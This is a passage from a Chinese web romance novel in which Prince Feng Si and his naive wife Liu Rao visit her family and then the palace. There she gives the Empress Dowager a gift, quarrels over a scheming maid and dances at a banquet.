“不必多礼,时辰不早,都落座吧。”封肆牵着人跨进厅中,率先落座。 “真丰盛啊。”柳娆自语一句,毫不客套动筷,含糊不清道,“怎么你一来就能有这么好吃的呢?” “好吃就多吃点。” 柳家长辈见封肆不计较,便也不提起,心照不宣地将今日的事揭过。老太太往柳娆碗里添菜,笑着道:“多吃些。” “谢谢祖母!”她笑眯眯接过。 老太太神色收了收,又给封肆添了些,放在单独的小碟子里:“也不知王爷爱吃些什么,府中未来得及准备,还请王爷莫要见怪。” 封肆将碟子放到柳娆跟前:“不必理会我,媚儿高兴就好。” “这是祖母给你夹的,这个鱼块可好吃了,只有我们府上的厨子能做出来,你吃呀。” 封肆没有推拒,夹一块放在自己碟中。 柳娆又道:“谢谢祖母!” 封肆没明白她的暗示,自顾自咬一口鱼。 她扯扯他的袖子,悄声道:“你也说呀。” “多谢。”封肆懒得争辩。 “你要说多谢祖母呀。”柳娆又催。 封肆额角跳了跳,低声道:“多谢祖母。” 柳娆满意点头,大声道:“祖母,小四……我夫君他谢祖母呢!” 鸦雀无声。 没有人敢说话,甚至连咀嚼的声音都不敢发出,只有柳瑜一个人,憋笑憋得很痛苦。 柳娆丝毫未察觉,嘴里不停,手上也不停:“这个蘑菇也好吃,你吃。” 封肆脸色都有些沉了,又被她一句话哄好,低声道:“好好吃饭。” “噢。”她没明白言外之意,端起碗筷心满意足地往口中喂饭。 日光渐歇,吃饱喝足,闲聊几句,趁着月光而去,她抱住他的腰,早将先前的事抛去九霄云外,开怀道:“我们明天去哪儿玩?” “你想去哪儿玩?” “我想拼彩贝,但是又想去庄子里喂鹿。小四,你能休息几日啊?” “今早去皇宫,我特意与陛下禀明过,他准许我休到中秋后。” 她高兴地几乎要跳起来:“真的啊,那可太好了,那我就不用烦心了,我们可以先在家里拼彩贝,然后再去庄子里面喂鹿。” 封肆笑着搂搂她的肩:“我休假,你为何这样开心?” “因为这样我就能一直和你在一起啦。小四,我好爱好爱你,我想和你一直在一块儿,吃饭一块儿,睡觉一块儿,什么都一块儿你不想吗?” “想,我也想和你一直在一起。”封肆垂首,和她耳鬓厮磨,“我也好爱你,媚儿。” 她顺势抱住他的脖子:“你抱我。” “刚吃完饭,不自己走走?当心积食,走走再抱。” “吃完饭好久了,我走不动了嘛。” 封肆无奈将她抱起,轻骂道:“那没和我成亲前你是怎么过的?天天让人抬着你走?” 她在他脸边蹭啊蹭:“以前肯定是我自己走啊,不过我现在有小四了嘛,小四这么爱我,肯定什么要求都能满足我的。” 封肆心花怒放,大步流星。 灯亮起,封肆抱着她跨进门,将她放在圆桌上,弯着腰背问:“洗漱?” “好呀。”她对着光,眼眸发亮。 “你带我去?” 她跳下桌,抓着他的手指往浴房走:“不过我的浴桶比较小,装不下两个人。” “那就站着洗。”封肆停在浴桶前,悄声道,“你给我宽衣。” 她看着他,眼眸忽闪几下,环抱住他的腰,解开他的腰封。 封肆微暗的目光落在她认真的脸上,耐心地等待,直至听见她开口:“好啦,现在轮到你给我宽衣啦。” 封肆再按耐不住,捏起她的脸,一口咬住她的唇,无视她挥舞的双手,将她的海棠色衣裙全扔去地上。 “唔唔!”她胡乱挣扎,脸憋得通红。 封肆终于松口,双手轻轻捧起她的脸,温柔啄吻:“乖宝贝,好可爱。” 她恼道:“我要被你憋死了!” 封肆反而扬唇,拿着瓢给她浇浴:“好,知道了,是我的错,沐浴吧。” 浇着浇着,她黏过去,抱着他轻蹭。她比他矮一截,半晌蹭不对地方,又勾着他的脖颈,踮着脚往上爬,边爬边蹭,偶尔蹭到,便轻哼一声。 封肆早被她勾得浴火缠身,在她又一次往上爬时,骤然托着她抱起,将她按入怀中,闷哼道:“回卧房去。” 她哼唧着,紧紧抱住他的肩,不停往他跟前迎。 封肆眉头皱着,忍不住垂首在她脖颈上亲吻,炙热的气息几乎要将人灼伤。 缠绵的吻流连,冰凉的秋夜中,温热不断攀升,热得让人难以喘息,最后全化为一身热汗。 柳娆趴在他胸膛上,跟着他的呼吸起伏:“喝水。” 他搂着她微微坐起,伸手够来水杯,灌一口,捏起她的脸颊,渡进她口中。迷蒙的眼看着他,他弯唇,又倒一口,往她口中喂。 柳娆眼眸闪闪,连忙拒绝:“不喝了不喝了。” 封肆笑着将她唇上的水渍吻去:“累不累?” “累,腿酸,背也酸。” 封肆抱着她缓缓躺下,滚烫的手掌落在她的后背上,轻轻揉按。 她满意点头,从枕头下摸出那只香囊,垂在空中展示:“送给你。” “嗯?”封肆抬眸看去,“这是什么?” “香囊啊,你看不出来吗?”她在他身上翻身,骨骼在他的身上碾压,躺在他的胸膛上,连腿也要放在他腿上,“香囊是我做的,珠子是我串的,流苏是我编的,还有这个兔子吊坠,看,闪不闪?是我用彩贝自己做的,这可是我第一回动手做彩贝噢,就送给你啦。” 封肆接过,放在鼻子下闻了闻:“嗯,很香。” 柳娆抬着眼,只能瞧见他的下巴:“嘿嘿,喜欢吗?” 他扬唇:“喜欢。” “本来呢,我是不打算给你的,谁叫你凶我的,不过你诚心跟我道歉了,那我就原谅你吧!” “宝贝真大度。” “那当然啦。”她又翻身,骨头又碾过,“你要佩戴噢。” 封肆被她的骨头硌得生疼,双手将她搂住:“好,我日日都佩戴,别乱动了,消停会儿。” “你又累了?” “没,怕你累了,让你歇歇。” “没累就好,我还不困呢,你得陪我,我想和你说话。” “说什么?” 她抱住他,埋头在他胸膛里笑:“我也不知道,我就是想和你说话,想这样抱着你,这样压着你特别舒服。” “你肯定舒服,所有重量都在我身上。” “你不愿意吗?”她眼一抬。 “不敢不敢。”封肆笑着将她的脑袋摁回去,随意找了个话茬,“你在用彩贝做什么呢?那么有兴致,日日都要去。” “做饰品啊,快中秋了,到时候就有礼物可以送给祖母他们了。” “中秋没法来这里过,陛下有旨,让你跟我一同去宫里过节。” 柳娆撑起身:“啊?宫里过节能干什么?好玩吗?我还想我们能去街上玩呢,每年中秋外面都可热闹了,可惜我去过一回后,他们就不带我去了。” “应该挺好玩的,有吃的喝的歌舞表演,其他节日街上肯定也热闹的,你若想去,下个节日我们再去街上” “好吧,我还没去宫里面过过节日呢,去看看也行,不过我是不是得给他们带礼物?刚好我在做彩贝饰品,到时候可以给母后一份,再给你皇兄皇嫂一份。” 封肆笑着看她:“那可有的你忙了,我可不止一位皇嫂。” 她显然愣住,许久,才喃喃问:“为什么呀?他为什么要娶那么多个?陪得过来吗?” “我也不知道,皇帝不都是三宫六院吗?” “还好你不是皇帝。”她轻轻抱住他。 “嗯?”封肆轻抚她的脑袋,“你不愿意我纳妾?” “那肯定呀,你不能去陪别人,你只许陪我一个人,不然我就再也不要理你了。” 封肆很满意:“宝贝这么爱我吗?” 她脑袋一转,又靠在他肩头蹭蹭:“对啊,我好爱好爱你,你也得很爱我才可以。” “好,我也很爱你,总归我又不是皇帝,不用考虑那些复杂的问题,此生有我的媚儿陪着我就够了。” “那你万一要是做皇帝了呢?” 封肆差点噎死,慌忙捂住她的嘴:“我没有可能、也从未想过要做皇帝,你千万不要出去乱说,万一传到旁人耳朵里,奏我一个谋逆之罪,咱们以后可就没这样的好日子了。” 她咽了口唾液,满眼惶恐,呆呆点头:“噢。” 封肆吐出一口浊气,揉揉她的脑袋:“乖宝贝,睡吧,这样的话以后不要说了。” 她窝在他的怀抱里,许久,又悄声开口:“小四,我没有想谋逆,我就是想知道,万一你是那什么,你会娶那么多吗?” 封肆笑着敲敲她的脑袋:“没有什么万一。” 她抬头看去,皱着眉道:“我是说万一,万一要是母后或者皇帝让你再多娶几个呢?” “他们为何会提出这种无理的要求?” “不知道,我就是问万一……哎呀,我就是想问问你嘛,你回答我就好了呀,你不要跟我抬杠。” “我看是你抬杠才对。”封肆笑着搂住她的腰,用额头碰碰她的额头,轻声道,“我知道宝贝想问什么,我答应你,就只有你,就算是我是那什么,也只有你一个。” “噢。”她其实不知道自己想问什么,但还蛮开心的,埋头在他脖颈里傻笑。 封肆亲亲她的脸颊:“你一个我都哄不过来,还要别人,我活不活了?” 她轻哼一声:“你只能哄我,只许对我好。” 封肆不厌其烦应和:“好,我只哄宝贝,只对宝贝好。” 她往他身上爬,将他压得轻哼一声,笑盈盈道:“我要压着你睡!” 封肆长叹:“罢了,睡吧。” 他还能怎么办?语气轻了没用,语气重了又要哭,他只能这样被压着,听着她的呼吸,感受着她的心跳,其实还是很美妙的,如果他没有喘不过气的话。 夜深,人睡熟了,他轻轻侧身,将人放在柔软的褥子里,仍旧轻轻圈着。 第44章 第 44 章 你叫人呀 天明, 柳娆睡饱,拉着他蹦蹦跳跳从园子往前厅蹿。 柳家众人已在厅中等候,她笑着过去热情招呼:“祖母, 爹爹, 娘……” 封肆有种不好的预感。 果然, 招呼完,那张小脸凑到他跟前, 小声问:“小四, 你怎么不喊人啊?” 他顿了顿, 还没措好辞,被人拉过去。 柳娆扯扯他的袖子,他没法,只能开口:“祖母, 父亲, 母亲……” 这倒也罢, 都是长辈, 出身也都不低,尤其老太太,一把年龄,精神却还好得很,喊一声也不影响什么,但紧接着,柳娆的几个兄长来了。 他心头一跳,默默转身, 想当做什么都未瞧见,又被拉住。 “大哥、二哥、三哥。”柳娆拽着他过去。 他垂着眼。 柳娆又扯扯他,小声提醒:“叫人啊。” 说是小声, 恐怕全屋的人都能听见,那大哥就不说了,的确比他年长一些,二哥年龄相仿,便也算了,可那个三哥,就是个毛头小子。 他深吸一口气道:“媚儿……” 那双圆眼看着他,眨巴眨巴。 不出一瞬,他硬着头皮开口:“大哥,二哥,三哥……” 柳琮有些不自在:“王爷不必多礼。” 柳瑜在憋笑,憋得将自己呛着,连声咳嗽,柳珣急忙拍拍他的后背,给他顺气。 柳娆好奇看他两眼:“二哥,你嗓子不舒服?” 他笑得更厉害,碍于在宁王跟前,又不敢笑出声,脸憋得通红。 老太太狠狠瞪他几眼:“不舒服就去歇着!” “是、是……”他赶忙逃离。 柳娆又张望两眼:“二哥不会得什么重病了吧?” 柳珣清清嗓子:“没事没事,快坐吧,不早了,再不吃早膳就该吃午膳了。” 几位长辈也起身:“宁王请。” 封肆走在最前面,柳珣趁机上前,拉着柳娆小声道:“媚儿,以后别让宁王这样喊我和二哥了,我们比他还小些。” “你们比他小啊?”柳娆惊讶。 柳珣无奈,小声又道:“你连他的年龄都不知道?” 封肆听见动静,转头来看:“嗯?” 柳娆立即问:“我三哥说,他和二哥比你小,是不是?” “对。”成亲之前,封肆早就查过这些。 “啊?你都这么老了啊?” 封肆脸一黑。 柳娆连连改口:“不对不对,你都这么大了啊?” “吃饭。”封肆落座,随之往她碗里夹了两筷子菜。 她咀嚼两口,又嘀咕:“这样说来,让你喊二哥三哥的确不大合适了,可是我又比他们小,那还真麻烦了。” 封肆又往她碗里夹菜:“我们都不在意,你也不必在意,好好吃饭吧。” “也是这么个道理。”她眼睛一转,继续吃饭,“那你就继续跟着我喊二哥三哥吧。” 封肆一噎,又道:“吃饭。” 一顿饭吃完,跨出柳家大门,他靠在回府的马车上,终于长松一口气。 柳娆端详他片刻:“你累了吗?” 他捏捏眉心:“还好,你要做什么?我陪你就是。” “噢,我还以为你累了,想让你回去休息呢。”柳娆抱住他的肩,小声道,“你说,让我体谅体谅你,我记在心里了的,你要是累了就回去休息吧。” 他看着她温暖的眼神,忽然觉得什么二哥三哥都不要紧了,喊两声哥又不会掉块肉,况且那的确也是她的亲哥。 柳娆看他不说话,又靠去他脸边:“小四,你休息好了再陪我,好不好?” 他心都化了,轻轻抱住她,温声道:“宝贝,我不累,你是不是想玩彩贝?我们直接去工房。” “小四,你真好。”柳娆笑着在他脸上亲一口,“那我们就给母后做礼物吧,皇帝就算了,他后宫里的女子太多了,我做不过来。” “好,但这话你跟我私下说说就行了,千万不要在外面说,知道吗?” “我知道了。”她乖乖点头,又问“小四,你比我二哥三哥大几岁啊?” 封肆捏捏她的脸:“怎么?嫌我年龄大了?” 她牵着他的手晃晃:“没有啊,我只是想多了解了解你嘛。” 封肆哼笑:“比你二哥大一岁多。” “噢噢。”她望着车厢顶,在脑中思索一遍,“喔,那就是二十四二十五?” “差不多。” 她眉头一蹙:“啊?那你比我大这么多岁啊。” “不愿意了?” “哎呀,也不是不愿意,只是你比我大这么多,那以后你肯定比我先老啊,我看到你白发苍苍的样子,会很伤心的。” 封肆高高扬起嘴角,轻轻抚摸她的脸颊:“媚儿,我这辈子真是栽在你手里了。” 她笑着扑进他怀里,小声哼哼。 彩贝做出来的首饰盒流光溢彩,打磨过后更是闪耀夺目,柳娆将它装起来,高高兴兴坐在马车里往宫里去。 一回生二回熟,她抬着眼往窗外张望,好奇打量宫道上行走的宫人。 进宫,直奔太后宫中去,太后早在宫中候着,见他们来,笑着牵住柳娆的手,拉着她在木榻坐下,吩咐侍女送来茶水点心。 她双手拿着点心满足咽下:“真好吃。” 太后又将茶盏递去:“喝点儿茶水,别噎着了,这是用果子煮的,酸酸甜甜,你肯定喜欢。” 她大喝一口,眯着眼笑:“真好喝,母后宫中的东西果然都是最好的,我也有礼物送给母后。” 她放下茶盏,将布包拿来,摆在木榻的小几上,神神秘秘揭开,露出里面镶着彩贝的首饰盒,闪亮着眼眸:“铛铛铛~这可是我和夫君亲手给母后做的,每一块彩贝都是我们精心挑选、仔细打磨过的,好不好看?” 封肆抵唇忍笑。 太后和蔼的目光全落在柳娆脸上,一点儿没注意到他:“好看,母后很喜欢。” “看,它里面空间很大,母后可以将首饰放在里面,做一个首饰匣子,放在梳妆台上。这样母后以后每天起床梳妆时就能看到它,就能想到我和小四,想到我们一直惦念关爱母后,母后就会很高兴。” 她说得高兴,说完才想起不对,赶紧捂住嘴。 太后听得也很高兴,瞧见她捂嘴也没弄明白缘故,疑惑问:“怎么了?” 宫女附耳在太后身旁低语几句,太后听后笑道:“无妨,都是一家人,你想如何唤便如何唤,宁王不在意便是。” 她立即咧开嘴:“嘿嘿,我在外面不会乱喊的。” “你送了哀家这么好的礼物,哀家得回礼才是,去将哀家新得的那串璎珞拿来。” “嗯?还有回礼吗?”她伸着脑袋张望,嘴上却道,“这也不是我一个人的功劳,是小四和我一起做的。” 太后笑着将那串璎珞挂在她脖颈上:“给你便算是给宁王了,他喜欢你,你收到礼物高兴,他也会高兴的。” 她羞涩笑笑。 “哀家那日瞧见这条璎珞,便觉得适合你,今日一看,果然如此,媚儿最适合这样鲜亮的颜色。” 她高兴地原地转圈:“小四,好看吗?” 封肆笑道:“好看。” 她喜不自胜:“那我就戴着它去参加宫宴啦。” “好,就戴着。”太后笑着搂住她,“到时你肯定是全宴席上最好看的。” 她举着脖颈上的璎珞,满意点头:“早知道送礼物能收回礼,我就不嫌麻烦,给皇帝和他的后妃全送一份了……” 封肆生怕她说出什么大逆不道的话,赶忙打断:“她先前想着给皇兄皇嫂也做些礼物,但顾虑宫中后妃众多,怕厚此薄彼,故而只给母后做了礼物。” 她连连点头:“对、对。” 太后笑着道:“原是如此,也无妨,你有这份心就好,宫中的事是纷繁复杂,不参与也好。” “听到没有?母后都这样说了,你就别再想这事了,想要什么与我说便是,我们回去再置办。”封肆也道。 “唔,好吧,那太遗憾了。” 封肆心中叹息一声,又道:“你不是要跟母后分享做彩贝的心得吗?坐着说话吧。” 她往两人中间一坐,滔滔不绝讲起来。 午间,吃过午膳,太后要小憩,日头不错,柳娆拉着封肆的手在园子里散步。 “要不要也去歇会儿?” “不用,我昨晚睡了很久,现在不困,你困吗?”她笑着晃晃他的手,“我们单独待一会儿嘛,我想和你单独待着。” 封肆将她拥入怀中:“又想和我说话了?” “对呀,我又想抱抱你了,在母后跟前我都不敢抱你,不然我早就要坐在你腿上了。”她仰着头看着他笑,“好想一直这样抱着你噢。” 封肆垂首,要跟她耳鬓厮磨,隐秘的哭声忽然传来。 柳娆微愣,转着脑袋四处探寻:“有人在哭?” 封肆皱了皱眉,没来得及阻拦,人便循着哭声寻去,到了花园后的假山石中,瞧见那个蹲在山石旁哭泣的宫女。 柳娆蹙着眉问:“诶?大白天的,你为什么要躲在这里哭呀?” 宫女抬头,含着泪的双眸先看向她,又看向封肆,显然怔住,随之哭得越发厉害:“奴婢拜见宁王殿下,不想此生还能再见到殿下,奴婢死而无憾。” 第45章 第 45 章 不许嬉皮笑脸! 封肆看着眼生的女子, 脑中一丝印象也没有。 柳娆朝他看去:“你欺负她了?” 他眉头一皱,抓住她的手腕转头就走。 “诶?”柳娆钉在原地不肯动,“你走什么啊?你还没有回答我呢?你是不是和她认识啊?” 宫女开口:“殿下事务繁忙, 自然记不得奴婢, 可奴婢在殿下身旁伺候了快十年, 奴婢此生此世也不会忘记殿下的。” “十年?”柳娆眨眨眼,“你记性这么差吗?在你身旁伺候了十年的人, 你都不记得了?” “一个宫女而已, 何必与她废话?伺候了十年又如何?难道我还要对她感恩戴德吗?走吧, 回偏殿歇息。” “我没这样说呀,毕竟是主仆一场,听她说两句又没什么,小四, 你有点怪怪的。” 封肆重重叹息一声, 拧着眉头道:“好, 我倒要看看你能问出个什么来。” “又凶我。”柳娆嘀咕一声, 在宫女跟前蹲下,“你说你是宁王身旁的宫女,那你现在为什么在这里,又为什么哭呢?” 宫女垂着眼眸,低声道:“奴婢不敢撒谎,奴婢从前的确是殿下的婢女,后来殿下将奴婢指去了别的宫里,奴婢思来想去也不明白自己做错了何事, 或许是侍寝时惹恼了殿下……奴婢知道错了,真的知道错了,请殿下看在奴婢多年忠心的份上, 让奴婢回殿下身旁伺候吧。” “侍、寝?”柳娆眼瞳转动,“什么叫侍寝?” 宫女低声道:“侍寝便是、便是……” 柳娆瞧见宫女脸上的绯红,立即明了,随后顿住。 “本王是不记得你的相貌,可本王不是脑子有毛病,你不就是废后派来的吗?你以为本王不知道?至于什么侍寝,本王可没碰过你一根手指头。你我之间不存在什么情意,看在你不曾下毒害过我的份上,我已轻饶你了,你再装模作样一句,我立即送你去你该去的地方。”封肆说罢,抓着柳娆往外走,这一回是用了十足的力道。 柳娆拗不过,瘪着嘴,几乎是被拖着往外:“她是你的侍寝宫女,你们从小一块长大,青梅竹马的。” “我跟一个婢女有什么好青梅竹马?若是这么说,我和宫里差不多年龄的宫女全都是青梅竹马。”封肆方才那番话就是说她听的,否则对一个外人,根本没有必要白费口舌。他有些恼,“我已经说得很清楚了,我没有碰过她。” 柳娆一句话也听不进去,垂着眼小声反驳:“你方才一直拉着我走,就是想隐瞒什么。” 封肆深吸一口气,叉着腰看她:“我拉你走,是一眼就看出那个宫女图谋不轨,说不定她早就打听到你我进宫的消息,故意等候在此处,我为何要为这样一个人浪费时光?” “你还凶我。” 封肆一拳打在了棉花上,凶也不是,恼也不是:“我没有凶你,我只是不明白,你为何要为了一个陌生人停留。媚儿,这些事我根本没必要瞒你,只是从前种种阴谋诡计,我都不想再提起。” 柳娆耷拉着脑袋:“可是你现在就在凶我,你先前答应过我,你再也不凶我的,你没有说到做到。” 封肆抚了抚额:“我真跟你没法说。” “你不爱我,我感觉得到,我不要理你了。”她转头就走。 封肆一脸无奈,大步跟上:“什么就感觉得到了?你感觉得到什么?我只是不想多看那宫女一眼,怎么到了你口中就是不爱你了?” 她越走越快。 封肆彻底没办法,只能上前又将她抱住:“媚儿,你能不能理解?她是我讨厌的人,我不想见到她,不想和她说话,我看到她哭,我就觉得恶心。” 她小声嘟囔:“由爱生恨。” 封肆险些晕过去,气极反笑:“这都是什么跟什么?谁跟你讲的这些无聊的话本?把他拉出去打一百大板。” “我自己想的,怎么?你要打我一百大板吗?” “那你适合去写话本。”封肆被逗笑,刮刮她的鼻尖。 她板着脸:“不许嬉皮笑脸!” 封肆稍稍收敛:“先皇在世时,几个兄弟夺皇位,当时无所不用其极,我至今不愿想起,更是极其憎恶他们,故而对他们的人也极其憎恶,明白了吗?” “不明白。” “他们陷害我,让我去蹲大牢,用各种酷刑,恨不得杀了我,明白了吗?” 柳娆吓得一抖。 封肆将她抱紧:“所以,没有你说的那些,只有生死之恨。” “那你和她有没有……”她欲言又止。 “没有。”封肆双手捧起她的脸,“没有她,也没有旁人,我第一回就是和媚儿宝贝。” 她嘴角悄然翘起,又赶紧压下,撅着嘴道:“好吧,可是我还是很生气,你刚刚凶我了。” “还是很生气?那我怎么看你笑了呢?” “没有!你看错了!” “来,我看看。”封肆捧起她的脸,弯下腰背,凑到她脸前去看,温热的气息扫在她脸上。 她压着嘴角躲,被温热的气息和他的笑意追逐着,忍不住噗嗤一声笑出声来。 封肆随之停下,静静看着她:“这回没看错吧?” 她翘着嘴角道:“可是你就是凶我了。” “不是凶你,是凶那个人。”封肆缓缓垂眸,温柔的吻要落在她脸上。 “咳咳!”不合时宜的声音响起。 封肆转头,瞧见树后的明黄色,立即拉着身旁的人跪地行礼:“拜见陛下。” 皇帝从树后走出:“起来吧。” 内侍笑着解释:“陛下见王爷迟迟不来请安,又听闻王爷和王妃在花园中,便亲自寻来了。” 封肆牵着身旁的人起身:“臣弟刚和母后一起用过午膳,担忧有打扰,便想着午歇过后再去跟皇兄请安。” “今日倒是没什么要紧的事,去朕那坐坐吧,朕许久未见你了。”皇帝转身向前。 封肆握紧掌心中的手,缓步跟上。 “许久未见你来宫中请安了,这阵子在忙什么?宫中当真这样无趣吗?一休假人就跑得没影了。” “宫中自然是样样都好,只是从前拘束惯了,如今便向往散漫些,何况将来必定是要外放的,臣弟总得先适应适应。” “你想外放了?朕刚登基,许多事都还没有摆平,你是我的亲兄弟,这个时候可不能走。” “那是自然。” 柳娆听不明白他们的对话,只觉得传闻中的皇帝威压甚重,不敢多听,也不敢多想,紧紧抱着身旁人的手,低垂着眼。 封肆抚抚她的肩,牵着她一起跨进殿中,坐在内侍搬来的椅子上。 皇帝在他们对面落座,抬眸看来:“抬起头来,让朕看看。” 她更害怕了,瘪着嘴,紧缩在封肆身旁,一动不动。 封肆抽出手,将她护在怀里:“她胆子小,没见过什么世面,皇兄莫要怪罪。” “方才在园子里跟你闹脾气时,不见她胆小。” 她吓得浑身颤抖,抵在封肆的手臂上,眼泪都快冒出来。 “好了好了,皇兄跟你说笑呢,又不是真要罚你。”封肆拍拍她的肩,又朝皇帝解释,“她就是色厉内荏,外强中干,皇兄莫拿她打趣了,一会真要哭了。” 皇帝笑几声,轻倚在软垫上:“听人说你们吵架,她将宁王府里的物件都搬走了,朕还以为她有多厉害呢,原来不过如此。” 封肆双手将人搂在怀里,轻声道:“不算是什么吵架,只是闹着玩呢。” 皇帝笑着,又说起旁的。 柳娆躲在封肆的怀里偷听,见他们说的都是些朝堂的事,稍稍放心下来,紧绷的身体放松,懒懒埋头在封肆的怀中,睡意渐浓。 封肆听见怀里绵长的呼吸声,眼眸中多了些笑意,轻声道:“媚儿睡着了,皇兄,我先将她送去母后宫中吧。” 皇帝好奇抬眸:“嗯?这样也能睡着?” “午间是该休息了。” “去吧,将她送去母后那里后,你再回来,我们对弈几局,恰好今日有空闲。” “是。”封肆抱着人起身,跨出殿门,跨上轿辇,忍不住垂首在她面颊上轻吻几下,将她抱去太后宫中的偏殿里放下,和宫女叮嘱几句,才转身离去。 午后,缱绻的日光照进窗门,柳娆睁开眼,盯着陌生的床帐看了许久,蹙着眉头喊:“小四?” 宫女和太后一齐进门,笑着迎来:“宁王在陛下那儿,王妃醒了?奴婢伺候王妃起吧。” 她耷拉着眉眼:“噢。” 太后笑着给她套上外衣:“这么离不开他?母后陪着你不好吗?” 她扯扯嘴角,笑得很为难。 太后轻笑:“想他了寻他去就是,让宫女们引你去,又不是隔了天涯海角。” 她抿了抿唇,眼里露出些笑意,害羞道:“和母后在一起也很好,我只是以为他要一直待在那边呢。” “媚儿不喜欢他在那边吗?” “也不是,我就是觉得皇上很凶。” 宫女轻声提醒:“王妃,是威严。” 她连连点头:“对,是威严,反正我在那里大气都不敢出一口。” 太后道:“那就不去了,留在这里陪母后,等宫宴开了,你再跟母后一起过去。” 她又叹息:“可是我又很想他啊。” 宫女打趣:“王妃这样在意王爷吗?” 她大大方方坦诚道:“对呀,我好喜欢好喜欢他的,我想天天都跟他在一起。” 第46章 第 46 章 那当然啦 “好孩子。”太后握住她的手, “宁王有你是他的福气。” 她笑吟吟道:“那当然啦,不过我有他也很幸福啦。” 太后扶她站起:“哀家让人送你去寻他?” 她连连摇头:“不不不,我一进那个宫殿的门, 我就喘不过气, 我还是不去了, 我就在这里陪母后吧。母后会玩叶子戏吗?我们玩叶子戏吧。” 宫里一向不准玩这些,宫女怔愣一瞬, 看向太后, 不想太后却道:“好, 去叫些人来,让宁王和皇帝说话去,咱们玩叶子戏。” 柳娆兴奋地搓搓手,她已经好久没玩了, 早就有些手痒, 兴冲冲入座, 一直玩到日头西落前。 封肆跨进殿门, 与其余几人打过招呼,朝她而去:“我以为你还在睡呢,原来是在这里玩叶子戏,当心皇兄知晓后罚你。” 太后道:“又不玩钱,有什么可罚的,不要吓唬她。” 柳娆扭头看去,也道:“对啊,又不玩钱, 为什么要罚我?你不要吓唬我。” 封肆亲昵地捏捏她的脸:“就你道理多。” 其余人垂眸,心思各异,不敢多看。 封肆未理会, 又朝太后看去:“宴席要开了,皇兄让我来请母后过去。” 几个后妃起身,太后微微颔首,也被搀扶着起身去后殿梳妆,柳娆看着手里的牌,高声叹息。 “这么好的牌,要是玩下去,我肯定能赢的,都怪你。” 封肆笑着在她身后坐下,双手将她搂住:“我看看。” 她轻哼一声:“你看,是不是很好?” “是还不错。” “那你赔我。” “赔你什么?不是说没玩钱吗?” “赔我高兴……啊!你干什么?” 封肆将她抱起转两圈,笑道:“现下高兴了吗?” 她微愣一瞬,弯起眼笑:“高兴。” 宫女看他们忙完,上前轻声道:“一会要去宴席,王妃要梳妆吗?” 她抬眸看向封肆:“你觉得我的头发乱吗?” “我看看。”封肆往后仰仰,仔细看过,在她额头上重重亲一口,“不乱。” “那我就不梳啦。”她笑着看向宫女,“你去给母后梳妆吧,我们在外面等你们。” 宫女垂眸低笑:“是。” 她毫无察觉,还赖在人腿上,抱着他的脖颈轻轻晃晃:“小四,你下午在干嘛呀?” “在跟陛下对弈,你呢?玩了一下午的叶子戏?” “对呀,我原本是想去找你的,可是我又不敢过去,所以就只好在这里玩牌啦。”她蹭蹭他的脸,“小四,我好想你呀。” 封肆语气软了又软:“我也想你,宝贝,为什么怕他?” 她小声道:“我感觉他很凶。” 封肆笑着拍拍她的背:“没关系,咱们也不常来宫里,你也见不到他几回。” “在说什么悄悄话?隔得那样近?”太后出门。 “没什么,问问她和母后下午玩得如何而已。”封肆站起,“我们跟母后一同去宴席。” 大殿中,后妃们陆陆续续入席,没多久,人渐齐了,皇帝从后殿而来,在首位坐下,随意讲了几句,舞姬们伴随着音乐上场,殿中热闹起来。 柳娆吃着点心,饶有兴致地观赏,这里的点心不错,歌舞也有意思,没多久,皇帝的后妃开始表演,有奏乐器的,有作诗的,更有趣了,她忍不住伸着脖子望。 “宁王妃要不要来玩?”有后妃道。 封肆看那人一眼,他不确定这邀约是好心还是恶意,当即否决:“王妃才质粗陋……” “你才粗陋。”柳娆顾不得咽下口中的食物,当即反驳,“我也会弹琴跳舞的。” 封肆扶了扶额,小声劝:“好好,你会,我们回去再表演,在这里就算了啊。” “为什么呀?可是我想在这里表演啊。”她嚼嚼食物,一口咽下,起身朝众人道,“我会舞蹈。” 封肆深吸好几口气,渐渐平稳呼吸,无奈朝她的背影看去。人早已走远,说是要去换装扮。他瞥一眼随行的侍女,低声吩咐:“去跟着,别让王妃出事。” 又几场表演后,欢快的鼓乐声响起,封肆轻呷着茶水随意看去,随后怔住。 大殿中,他的媚儿着一袭粉绿色复古衣袍,立于圆鼓之上翩翩起舞,踩着鼓面的节奏均匀,垂落的衣袖随着鼓点收放,一向庄重的盘鼓舞被她跳得欢快活泼,那粉绿相间的裙摆摇曳起来,好似到了春日。 他有些惊讶,原来她真的会舞蹈,还舞得这样好。 一曲舞罢,殿中寂静无声,柳娆正好奇怎么没人夸赞,忽而掌声起,皇帝站起。 “宁王。”皇帝开口,“朕还以为她是夸大,不想舞得的确是很不错。” 封肆立即起身,停在那抹粉绿色旁,微微行礼:“臣弟也是头一回知晓她这样擅长舞蹈,在此厚着脸皮替她讨要个赏赐。” “这样精彩的表演,当然要有赏赐,说吧,你想要什么?” 封肆握住身旁人的手,轻声道:“皇兄既然开口了,你不必顾虑,想要什么,直说便是,皇兄不会不应。” 柳娆眨眨眼,毫不客气道:“我想要留仙裙。” 封肆差点儿吐血,他就是怕她太没有顾虑,才提前说出那番话,没想到,她比他想象中的还没有顾虑。留仙裙,那可是几百年前留下来的传世珍品,她竟然也敢开口要。 皇帝抬了抬眉:“你如何知晓朕这里有留仙裙的?” 柳娆不假思索:“不是说皇帝是天底下最厉害的人吗?那肯定是什么都有的啊。” 皇帝喜不自胜,朗笑几声:“你说得对,这天下都是朕的,还有什么是朕没有的?想来这留仙裙就该赐给能歌善舞之人,便赐给你了。” 封肆知晓她这话不是故意恭维,而是真实所想,生怕她再说下去就要露馅,立即拉着她跪地谢恩:“多谢陛下赏赐,臣弟感激不尽,臣先带她下去更衣,皇兄母后和诸位皇嫂继续。” 说罢,他立即牵着人往外走,一刻也不停留,身旁的人果然嘀咕起来:“我就是随口一说,没想到他真有啊。” “嘘,嘘!”他悄声打断,“出去再说。” 柳娆奇怪看他一眼,跨出殿门,又道:“你刚刚都没给我鼓掌。” 他揽住她的肩:“鼓了,在心里鼓了,宝贝跳得很好,我从见过比宝贝跳得还好的,简直就是仙女下凡。” 柳娆高兴了,嘴角翘着:“我才不才质粗陋呢。” “对对,媚儿天赋异禀。”封肆夸完,紧接着劝,“乖宝贝,千万不要在大殿里乱说话,他们不一定都是好人。” “啊?谁是坏人?” 封肆闭了闭眼,低声道:“不是谁是好人谁是坏人的问题,有时候你随意说一句话,人家或许就以为你是故意针对人家,那不就得记恨你?” “那他们也太小心眼了吧?” “对对,就是小心眼。” “那你告诉我,是谁这么小心眼?” 